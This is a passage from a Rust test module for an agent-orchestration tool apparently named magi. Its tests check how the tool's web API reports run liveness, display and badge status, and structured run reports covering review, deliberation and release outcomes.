20366            );
20367        }
20368    }
20369
20370    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20371    /// review` claims no daemon at all, so before this field existed the
20372    /// route above read it as `"dead"` — indistinguishable from a run a
20373    /// killed process abandoned — the whole time it was genuinely still
20374    /// answering. With a live pid recorded, it must read `"live"` even
20375    /// though no daemon claims it.
20376    #[tokio::test]
20377    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20378        let f = Fixture::start().await;
20379        let id = "20260922-090000-cccc";
20380        let mut state = RunState::new(
20381            PathBuf::from("/repo/magi"),
20382            "main".to_owned(),
20383            "0123456789abcdef".to_owned(),
20384            "Review only".to_owned(),
20385            Config::default(),
20386        );
20387        state.id = id.to_owned();
20388        state.status = RunStatus::Reviewing;
20389        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20390        // This test process's own pid: guaranteed alive, and never needs a
20391        // real daemon or a second process to prove it. The matching start-time
20392        // marker is what `liveness` now requires alongside a live pid — see
20393        // `RunState::driver_started_at`'s own doc for why the pid alone is
20394        // not enough.
20395        state.driver_pid = Some(std::process::id());
20396        state.driver_started_at = Some(
20397            crate::proc::process_started_at(std::process::id())
20398                .expect("this test process's own start time must be queryable"),
20399        );
20400        let dir = f.runs().join(id);
20401        std::fs::create_dir_all(&dir).expect("run dir");
20402        std::fs::write(
20403            dir.join("run.json"),
20404            serde_json::to_string_pretty(&state).expect("serialize run"),
20405        )
20406        .expect("write run.json");
20407
20408        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20409        assert_eq!(detail["live"], "live", "{detail}");
20410    }
20411
20412    /// A killed manual run's pid can be handed to a wholly unrelated later
20413    /// process — a live query on `driver_pid` alone would read this as
20414    /// `"live"`, exactly the false positive `driver_started_at` exists to
20415    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20416    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20417    #[tokio::test]
20418    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20419        let f = Fixture::start().await;
20420        let id = "20260922-090100-dddd";
20421        let mut state = RunState::new(
20422            PathBuf::from("/repo/magi"),
20423            "main".to_owned(),
20424            "0123456789abcdef".to_owned(),
20425            "Review only".to_owned(),
20426            Config::default(),
20427        );
20428        state.id = id.to_owned();
20429        state.status = RunStatus::Reviewing;
20430        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20431        // This test process's own pid really is alive, but the marker
20432        // recorded here does not match what it actually started at —
20433        // standing in for the pid having since been reused by a different
20434        // process than the one that wrote `run.json`.
20435        state.driver_pid = Some(std::process::id());
20436        state.driver_started_at = Some("1".to_owned());
20437        let dir = f.runs().join(id);
20438        std::fs::create_dir_all(&dir).expect("run dir");
20439        std::fs::write(
20440            dir.join("run.json"),
20441            serde_json::to_string_pretty(&state).expect("serialize run"),
20442        )
20443        .expect("write run.json");
20444
20445        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20446        assert_eq!(detail["live"], "dead", "{detail}");
20447    }
20448
20449    /// The deck's competition list is normally the first place an operator
20450    /// sees an old run. It must carry the same process verdict as detail, or
20451    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20452    #[test]
20453    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20454        let mk = |id: &str, pid: Option<u32>| {
20455            let mut s = RunState::new(
20456                PathBuf::from("/repo/magi"),
20457                "main".to_owned(),
20458                "0123456789abcdef".to_owned(),
20459                "Add a web UI".to_owned(),
20460                Config::default(),
20461            );
20462            s.id = id.to_owned();
20463            s.driver_pid = pid;
20464            s.driver_started_at = Some("1790000000".to_owned());
20465            s
20466        };
20467        let states = vec![
20468            mk("20260902-140502-aaaa", Some(77)),
20469            mk("20260902-140502-bbbb", Some(77)),
20470            mk("20260902-140502-cccc", Some(77)),
20471            mk("20260902-140502-dddd", None),
20472        ];
20473        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20474        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20475        let sup: HashMap<String, String> = [(
20476            "20260902-140502-aaaa".to_owned(),
20477            "20260902-140502-cccc".to_owned(),
20478        )]
20479        .into();
20480
20481        let status_calls = std::cell::Cell::new(0);
20482        let identity_calls = std::cell::Cell::new(0);
20483        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20484            |_| {
20485                status_calls.set(status_calls.get() + 1);
20486                Some(true)
20487            },
20488            |_| {
20489                identity_calls.set(identity_calls.get() + 1);
20490                Some("1790000000".to_owned())
20491            },
20492        ));
20493        let rows = summarize(
20494            states,
20495            &open,
20496            &claimed,
20497            &sup,
20498            |p| probe.borrow_mut().status(p),
20499            |p| probe.borrow_mut().started_at(p),
20500        );
20501
20502        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20503        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20504        assert_eq!(rows.len(), 4);
20505        assert!(!rows[0].waiting && rows[1].waiting);
20506        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20507        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20508        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20509        assert_eq!(rows[1].superseded_by, None);
20510    }
20511
20512    #[test]
20513    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20514        let mut state = RunState::new(
20515            PathBuf::from("/repo/magi"),
20516            "main".to_owned(),
20517            "0123456789abcdef".to_owned(),
20518            "Review only".to_owned(),
20519            Config::default(),
20520        );
20521        state.id = "20260922-090200-dead".to_owned();
20522        state.status = RunStatus::Reviewing;
20523        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20524            .expect("serialize list row");
20525        assert_eq!(row["status"], "reviewing");
20526        assert_eq!(row["display_status"], "stale");
20527        assert_eq!(row["live"], "dead", "{row}");
20528        assert!(!row["done"].as_bool().unwrap());
20529    }
20530
20531    #[test]
20532    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20533        use crate::run::Liveness::{Dead, Live, Unknown};
20534        let mut state = RunState::new(
20535            PathBuf::from("/repo/magi"),
20536            "main".to_owned(),
20537            "abc".to_owned(),
20538            "Review only".to_owned(),
20539            Config::default(),
20540        );
20541        for (status, parked, node, waiting, live, expected) in [
20542            (
20543                RunStatus::Judging,
20544                true,
20545                "github-text",
20546                false,
20547                Dead,
20548                "parked",
20549            ),
20550            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20551            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20552            (
20553                RunStatus::Judging,
20554                true,
20555                "github-text",
20556                true,
20557                Dead,
20558                "waiting",
20559            ),
20560            (
20561                RunStatus::Judging,
20562                false,
20563                "github-text",
20564                true,
20565                Dead,
20566                "waiting",
20567            ),
20568            (
20569                RunStatus::Judging,
20570                false,
20571                "github-text",
20572                false,
20573                Dead,
20574                "stale",
20575            ),
20576            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20577            (RunStatus::Judging, true, "park", false, Live, "judging"),
20578            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20579            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20580            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20581            (
20582                RunStatus::Blocked,
20583                true,
20584                "github-text",
20585                true,
20586                Dead,
20587                "waiting",
20588            ),
20589        ] {
20590            state.status = status;
20591            state.parked = parked;
20592            state.events.clear();
20593            state.event(
20594                "park",
20595                "an earlier park does not determine the latest state",
20596            );
20597            state.event(node, "message is not used for classification");
20598            let summary = RunSummary::of(&state, waiting, live);
20599            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20600            assert_eq!(
20601                summary.display_status, expected,
20602                "{status:?}/{node}/{live:?}"
20603            );
20604            assert_eq!(detail.display_status, summary.display_status);
20605            assert_eq!(detail.waiting, summary.waiting);
20606        }
20607        state.status = RunStatus::Judging;
20608        state.parked = false;
20609        state.events.clear();
20610        assert_eq!(run_display_status(&state, false, Dead), "stale");
20611    }
20612
20613    #[test]
20614    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20615        use crate::run::Liveness::{Dead, Live, Unknown};
20616        let mut state = RunState::new(
20617            PathBuf::from("/repo/magi"),
20618            "main".to_owned(),
20619            "abc".to_owned(),
20620            "Badge".to_owned(),
20621            Config::default(),
20622        );
20623        for (status, waiting, live, superseded, expected) in [
20624            (RunStatus::Gating, false, Dead, false, "stale"),
20625            (RunStatus::Gating, false, Dead, true, "superseded"),
20626            (RunStatus::Gating, false, Unknown, true, "superseded"),
20627            (RunStatus::Gating, true, Dead, true, "superseded"),
20628            (RunStatus::Gating, true, Dead, false, "waiting"),
20629            (RunStatus::Gating, false, Unknown, false, "gating"),
20630            (RunStatus::Gating, false, Live, true, "gating"),
20631            (RunStatus::Gating, true, Live, true, "waiting"),
20632            (RunStatus::Merged, false, Dead, true, "merged"),
20633            (RunStatus::Blocked, false, Dead, true, "blocked"),
20634        ] {
20635            state.status = status;
20636            let display = run_display_status(&state, waiting, live);
20637            assert_eq!(
20638                run_badge_status(&state, &display, live, superseded),
20639                expected,
20640                "{status:?}/{live:?}/superseded={superseded}"
20641            );
20642        }
20643    }
20644
20645    #[test]
20646    fn summarize_and_detail_expose_badge_status() {
20647        use crate::run::Liveness::Dead;
20648        let mut state = RunState::new(
20649            PathBuf::from("/repo/magi"),
20650            "main".to_owned(),
20651            "abc".to_owned(),
20652            "Badge".to_owned(),
20653            Config::default(),
20654        );
20655        state.status = RunStatus::Gating;
20656        let none = HashSet::new();
20657        let id = state.id.clone();
20658        let mut by = HashMap::new();
20659        let rows = summarize(
20660            [state.clone()],
20661            &none,
20662            &none,
20663            &by,
20664            |_| Some(false),
20665            |_| None,
20666        );
20667        // No driver recorded: liveness is not provably dead, so the node stays.
20668        assert_eq!(rows[0].badge_status, rows[0].display_status);
20669        by.insert(id, "20260901-000000-913b".to_owned());
20670        let detail = RunDetailView::of(
20671            state.clone(),
20672            false,
20673            Dead,
20674            Some("913b".to_owned()),
20675            None,
20676            None,
20677        );
20678        assert_eq!(detail.badge_status, "superseded");
20679        let json = serde_json::to_value(&detail).unwrap();
20680        assert_eq!(json["badge_status"], "superseded");
20681        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20682        assert_eq!(detail.badge_status, "stale");
20683    }
20684
20685    #[tokio::test]
20686    async fn run_display_status_routes_share_the_open_question_store() {
20687        let f = Fixture::start().await;
20688        let id = "20260922-090200-abcd";
20689        write_run(&f.runs(), id, RunStatus::Judging);
20690        let mut state = read_run(&f.runs(), id).unwrap();
20691        state.parked = true;
20692        state.driver_exited = true;
20693        state.event("github-text", "waiting for the owner");
20694        state.save_under(f.home.path()).unwrap();
20695        let mut task = Task::new(
20696            "resumed task".to_owned(),
20697            "do it".to_owned(),
20698            PathBuf::from("/repo"),
20699            Source::Human,
20700        );
20701        task.runs = vec![id.to_owned(), id.to_owned()];
20702        f.queue().put(&mut task).unwrap();
20703        let store = f.questions();
20704        let mut q = Question::new(
20705            id.to_owned(),
20706            "github-text".to_owned(),
20707            "owner".to_owned(),
20708            "Approve the text?".to_owned(),
20709            String::new(),
20710            Vec::new(),
20711        );
20712        store.put(&mut q).unwrap();
20713        for expected in ["waiting", "parked"] {
20714            let list = f.get("/api/runs").await.json();
20715            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20716            assert_eq!(list[0]["display_status"], expected);
20717            assert_eq!(detail["display_status"], expected);
20718            assert_eq!(detail["waiting"], list[0]["waiting"]);
20719            assert_eq!(list[0]["badge_status"], expected);
20720            assert_eq!(detail["badge_status"], expected);
20721            assert!(list[0]["superseded_by"].is_null());
20722            assert!(detail["superseded_by"].is_null());
20723            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20724            let history = task_detail["history"].as_array().unwrap();
20725            assert_eq!(history.len(), 2);
20726            assert!(history[0]["badge"].is_null());
20727            assert_eq!(history[1]["badge"], expected);
20728            q.status = ask::QuestionStatus::Answered;
20729            store.put(&mut q).unwrap();
20730        }
20731    }
20732
20733    #[tokio::test]
20734    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20735        let f = Fixture::start().await;
20736        let id = "20260922-090200-abcd";
20737        write_run(&f.runs(), id, RunStatus::Judging);
20738        let mut state = read_run(&f.runs(), id).unwrap();
20739        state.parked = true;
20740        state.driver_exited = true;
20741        state.event("park", "stopped at a node boundary");
20742        state.save_under(f.home.path()).unwrap();
20743
20744        for expected in ["parked", "stale"] {
20745            let list = f.get("/api/runs").await.json();
20746            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20747            assert_eq!(list[0]["live"], "dead");
20748            assert_eq!(list[0]["display_status"], expected);
20749            assert_eq!(detail["display_status"], expected);
20750            // Model a driver claim followed by a crash before the next event:
20751            // the persisted flag changes, but the last event is still park.
20752            state.parked = false;
20753            state.save_under(f.home.path()).unwrap();
20754        }
20755    }
20756
20757    #[tokio::test]
20758    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20759        let f = Fixture::start().await;
20760        for id in [
20761            "20260902-140501-aaaa",
20762            "20260902-140502-bbbb",
20763            "20260902-140503-cccc",
20764        ] {
20765            write_run(&f.runs(), id, RunStatus::Merged);
20766        }
20767
20768        let all = f.get("/api/runs").await.json();
20769        let capped = f.get("/api/runs?limit=2").await.json();
20770
20771        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20772        assert_eq!(all.as_array().map(Vec::len), Some(3));
20773        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20774        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20775    }
20776
20777    #[tokio::test]
20778    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20779        let f = Fixture::start().await;
20780        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20781
20782        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20783
20784        assert_eq!(res.status, 200);
20785        assert!(
20786            res.headers
20787                .contains("content-type: text/plain; charset=utf-8"),
20788            "a browser must render it, not download it: {}",
20789            res.headers
20790        );
20791        // The assertion is on content, not on the absence of escapes: colour
20792        // is a process-global that `serve` turns off at startup, and another
20793        // test in this binary may own it while this one runs.
20794        assert!(
20795            res.body.contains("20260902-140501-a1b2"),
20796            "the report is about the run that was asked for: {}",
20797            res.body
20798        );
20799    }
20800
20801    #[tokio::test]
20802    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20803        // The view names the run's state directory, which reads the process-global home.
20804        crate::run::pin_test_home();
20805        let f = Fixture::start().await;
20806        let id = "20260902-140501-a1b2";
20807        write_run(&f.runs(), id, RunStatus::Stalled);
20808        // A stalled panel and one review round, written through the real
20809        // state file so the route reads what a run really leaves behind.
20810        let path = f.runs().join(id).join("run.json");
20811        let mut v: serde_json::Value =
20812            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20813        v["tally"] = serde_json::json!({
20814            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20815            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20816            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20817            "met_quorum": false, "rankings": 1
20818        });
20819        v["reviews"] = serde_json::json!([{
20820            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20821            "e2e_deferred": true,
20822            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20823                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20824            ]}]
20825        }]);
20826        std::fs::write(&path, v.to_string()).unwrap();
20827        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20828        std::fs::write(
20829            f.runs().join("20260902-140502-dead").join("run.json"),
20830            "{not json",
20831        )
20832        .unwrap();
20833
20834        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20835
20836        assert_eq!(res.status, 200, "{}", res.body);
20837        assert!(res.headers.contains("content-type: application/json"));
20838        let j = res.json();
20839        assert_eq!(j["schema"], 1);
20840        assert_eq!(j["header"]["id"], id);
20841        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20842        let kinds: Vec<&str> = j["sections"]
20843            .as_array()
20844            .unwrap()
20845            .iter()
20846            .map(|s| s["kind"].as_str().unwrap())
20847            .collect();
20848        assert_eq!(kinds, ["candidates", "tally", "review"]);
20849        let tally = &j["sections"][1]["tally"];
20850        assert_eq!(
20851            (tally["decided"].clone(), tally["provisional"].clone()),
20852            (false.into(), true.into())
20853        );
20854        let round = &j["sections"][2]["rounds"][0];
20855        assert_eq!(round["e2e"]["state"], "deferred");
20856        assert_eq!(round["findings"][0]["severity"], "major");
20857        assert_eq!(round["findings"][0]["blocking"], true);
20858        assert_eq!(round["findings"][0]["state"], "open");
20859
20860        // The raw route keeps working beside it.
20861        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20862
20863        // An unreadable run is an error, as on the text route, and is counted.
20864        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20865        assert_ne!(bad.status, 200, "{}", bad.body);
20866        assert_eq!(
20867            bad.status,
20868            f.get("/api/runs/20260902-140502-dead/report").await.status
20869        );
20870        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20871        assert_eq!(
20872            f.get("/api/runs/20260902-999999-ffff/report.json")
20873                .await
20874                .status,
20875            404
20876        );
20877    }
20878
20879    #[tokio::test]
20880    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
20881        crate::run::pin_test_home();
20882        let f = Fixture::start().await;
20883        let id = "20260902-140505-facts";
20884        write_run(&f.runs(), id, RunStatus::Stalled);
20885        let path = f.runs().join(id).join("run.json");
20886        let mut v: serde_json::Value =
20887            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20888        v["candidates"] = serde_json::json!([{
20889            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
20890            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
20891        }]);
20892        v["tally"] = serde_json::json!({
20893            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20894            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20895            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20896            "met_quorum": false, "rankings": 1
20897        });
20898        v["quota"] = serde_json::json!([
20899            {
20900                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
20901                "agent": "signed-out", "cause": "authentication"
20902            },
20903            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
20904        ]);
20905        v["startup"] = serde_json::json!({
20906            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
20907            "failure": "fetch refused\ncredentials expired"
20908        });
20909        v["recovery"] = serde_json::json!({
20910            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
20911            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
20912            "repair": {"started": {"before": "abcdef012345"}}
20913        });
20914        v["reviews"] = serde_json::json!([{
20915            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
20916            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
20917            "vote_split": true, "verdict": "approve_with_findings",
20918            "e2e": [{
20919                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
20920            }],
20921            "reviews": [
20922                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
20923                 "summary": "Initial **concern**.\n\nPlease inspect.",
20924                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
20925                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
20926            ],
20927            "reconsideration": [{
20928                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
20929                "reason": "The blocker is resolved.\nOne minor issue remains."
20930            }]
20931        }]);
20932        v["merge_repairs"] = serde_json::json!([{
20933            "question": "question-42", "head": "abcdef012345",
20934            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
20935            "gate": [], "phase": "Failed",
20936            "failure": "owner decision required\ninspect updated results"
20937        }]);
20938        v["bump_decision_attempts"] = serde_json::json!([
20939            {"agent": "first", "outcome": "unavailable"},
20940            {"agent": "second", "outcome": "patch\naccepted"}
20941        ]);
20942        v["release_bump"] = serde_json::json!({
20943            "version": "1.2.3", "local": true,
20944            "problem": "publish failed\nregistry refused",
20945            "release": {
20946                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
20947                "failed": "registry refused\nawait owner approval",
20948                "log": [{
20949                    "name": "cargo publish", "code": 1,
20950                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
20951                }]
20952            }
20953        });
20954        std::fs::write(&path, v.to_string()).unwrap();
20955
20956        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20957        assert_eq!(res.status, 200, "{}", res.body);
20958        let j = res.json();
20959        assert_eq!(j["schema"], 1);
20960        assert_eq!(j["header"]["tone"], "warn");
20961        assert_eq!(
20962            j["header"]["startup"],
20963            "review branch=topic stage=fetch complete=false"
20964        );
20965        assert_eq!(
20966            j["header"]["startup_failure"],
20967            "fetch refused\ncredentials expired"
20968        );
20969        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
20970        assert_eq!(
20971            j["sections"][0]["items"][0]["detail"],
20972            "Already covered.\nNo patch needed."
20973        );
20974        assert_eq!(
20975            j["sections"][1]["tally"]["rate_limited"],
20976            serde_json::json!(["judge-1", "judge-2"])
20977        );
20978        let sections = j["sections"].as_array().unwrap();
20979        let labels: Vec<_> = sections
20980            .iter()
20981            .map(|section| {
20982                section["key"]
20983                    .as_str()
20984                    .or_else(|| section["kind"].as_str())
20985                    .unwrap()
20986            })
20987            .collect();
20988        assert_eq!(
20989            labels,
20990            [
20991                "candidates",
20992                "tally",
20993                "quota_details",
20994                "recovery",
20995                "review",
20996                "merge_repairs",
20997                "release_decision_attempts",
20998                "release_bump",
20999                "release_execution"
21000            ]
21001        );
21002        let note = |key: &str| {
21003            sections
21004                .iter()
21005                .find(|section| section["kind"] == "notes" && section["key"] == key)
21006                .unwrap()
21007        };
21008        let unavailable = note("quota_details");
21009        assert_eq!(unavailable["tone"], "warn");
21010        assert_eq!(
21011            unavailable["lines"],
21012            serde_json::json!([
21013                "judge-1 (signed-out: re-authenticate)",
21014                "judge-2 (usage limit)"
21015            ])
21016        );
21017        let recovery = note("recovery");
21018        assert_eq!(recovery["tone"], "warn");
21019        assert!(
21020            recovery["lines"][0]
21021                .as_str()
21022                .unwrap()
21023                .contains("head moved\nreview the new diff")
21024        );
21025        assert_eq!(
21026            recovery["lines"][1],
21027            "the task's own completion criteria were kept"
21028        );
21029        assert_eq!(recovery["lines"][2], "repair: unfinished");
21030        let review = sections
21031            .iter()
21032            .find(|section| section["kind"] == "review")
21033            .unwrap();
21034        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21035        let round = &review["rounds"][0];
21036        assert_eq!(round["verified_head"], "fedcba9");
21037        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21038        assert_eq!(round["status"], "incomplete");
21039        assert_eq!(round["e2e"]["state"], "pass");
21040        assert_eq!(round["reviewers"][0]["vote"], "reject");
21041        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21042        assert_eq!(
21043            round["reviewers"][0]["reason"],
21044            "Initial **concern**.\n\nPlease inspect."
21045        );
21046        assert!(
21047            !round["reviewers"][0]["reason_md"]
21048                .as_array()
21049                .unwrap()
21050                .is_empty()
21051        );
21052        assert!(round["reviewers"][1]["final_vote"].is_null());
21053        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21054        assert_eq!(
21055            round["reconsideration"][0]["reason"],
21056            "The blocker is resolved.\nOne minor issue remains."
21057        );
21058        assert!(
21059            !round["reconsideration"][0]["reason_md"]
21060                .as_array()
21061                .unwrap()
21062                .is_empty()
21063        );
21064        let repairs = note("merge_repairs");
21065        assert_eq!(repairs["tone"], "warn");
21066        assert_eq!(
21067            repairs["lines"][0],
21068            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21069        );
21070        assert_eq!(
21071            repairs["lines"][1],
21072            "held: owner decision required\ninspect updated results"
21073        );
21074        assert_eq!(
21075            repairs["lines"][2],
21076            "original [R1-1-1] Minor: Check edge case"
21077        );
21078        assert_eq!(
21079            repairs["lines"][3],
21080            "original reviewer #1: ApproveWithFindings"
21081        );
21082        assert_eq!(
21083            repairs["lines"][4],
21084            "Repair never approves a merge; updated results require a fresh owner decision."
21085        );
21086        let attempts = note("release_decision_attempts");
21087        assert_eq!(attempts["tone"], "neutral");
21088        assert_eq!(
21089            attempts["lines"],
21090            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21091        );
21092        let bump = sections
21093            .iter()
21094            .find(|section| section["kind"] == "release_bump")
21095            .unwrap();
21096        assert_eq!(bump["bump"]["automerge"], "local");
21097        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21098        assert_eq!(bump["tone"], "warn");
21099        let execution = note("release_execution");
21100        assert_eq!(execution["tone"], "warn");
21101        assert_eq!(
21102            execution["lines"][0],
21103            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21104        );
21105        assert_eq!(
21106            execution["lines"][1],
21107            "tag on remote: true; 1 command(s) completed"
21108        );
21109        assert_eq!(
21110            execution["lines"][2],
21111            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21112        );
21113
21114        // The original endpoint remains terminal text, including these same facts.
21115        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21116        assert_eq!(raw.status, 200);
21117        assert!(
21118            raw.headers
21119                .contains("content-type: text/plain; charset=utf-8")
21120        );
21121        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21122        assert!(raw.body.contains("Already covered."));
21123        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21124        assert!(raw.body.contains("judge-2 (usage limit)"));
21125        assert!(
21126            raw.body
21127                .contains("owner decision required\ninspect updated results")
21128        );
21129        assert!(raw.body.contains("2. second: patch\naccepted"));
21130        assert!(raw.body.contains(
21131            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21132        ));
21133
21134        // Historical records do not acquire invented startup or verification facts.
21135        let legacy_id = "20260902-140506-old";
21136        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21137        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21138        assert_eq!(legacy.status, 200, "{}", legacy.body);
21139        let legacy = legacy.json();
21140        assert!(legacy["header"]["startup"].is_null());
21141        assert!(legacy["header"]["startup_failure"].is_null());
21142        assert!(
21143            legacy["sections"]
21144                .as_array()
21145                .unwrap()
21146                .iter()
21147                .all(|section| section["kind"] != "notes")
21148        );
21149    }
21150
21151    #[tokio::test]
21152    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21153        crate::run::pin_test_home();
21154        let f = Fixture::start().await;
21155        let id = "20260902-140503-delib";
21156        write_run(&f.runs(), id, RunStatus::Merged);
21157        let path = f.runs().join(id).join("run.json");
21158        let mut v: serde_json::Value =
21159            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21160        v["judgements"] = serde_json::json!([
21161            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21162        ]);
21163        v["tally"] = serde_json::json!({
21164            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21165            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21166            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21167            "met_quorum": true, "rankings": 1
21168        });
21169        v["deliberation"] = serde_json::json!([
21170            {
21171                "round": 1,
21172                "turns": [
21173                    {
21174                        "judge": 1,
21175                        "agent": "judge-1",
21176                        "body": "I prefer candidate **A** because it has cleaner tests.",
21177                        "tentative": "A"
21178                    }
21179                ]
21180            },
21181            {
21182                "round": 2,
21183                "turns": [
21184                    {
21185                        "judge": 1,
21186                        "agent": "judge-1",
21187                        "body": "Still thinking, no choice yet.",
21188                        "tentative": null
21189                    }
21190                ]
21191            }
21192        ]);
21193        std::fs::write(&path, v.to_string()).unwrap();
21194
21195        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21196        assert_eq!(res.status, 200, "{}", res.body);
21197        let j = res.json();
21198        let judging = j["sections"]
21199            .as_array()
21200            .unwrap()
21201            .iter()
21202            .find(|s| s["kind"] == "judging")
21203            .expect("judging section exists");
21204
21205        // Existing summary lines remain intact
21206        let delib_lines = judging["deliberation"].as_array().unwrap();
21207        assert_eq!(delib_lines.len(), 2);
21208        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21209        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21210
21211        // rounds carry turn bodies, tentative and parsed body_md
21212        let rounds = judging["rounds"].as_array().unwrap();
21213        assert_eq!(rounds.len(), 2);
21214        let r1_t0 = &rounds[0]["turns"][0];
21215        assert_eq!(r1_t0["judge"], 1);
21216        assert_eq!(r1_t0["agent"], "judge-1");
21217        assert_eq!(r1_t0["tentative"], "A");
21218        assert_eq!(
21219            r1_t0["body"],
21220            "I prefer candidate **A** because it has cleaner tests."
21221        );
21222        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21223
21224        let r2_t0 = &rounds[1]["turns"][0];
21225        assert_eq!(r2_t0["judge"], 1);
21226        assert_eq!(r2_t0["agent"], "judge-1");
21227        assert!(r2_t0["tentative"].is_null());
21228        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
21229        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21230
21231        // A run with empty deliberation array yields empty rounds
21232        let id_empty = "20260902-140504-nodelib";
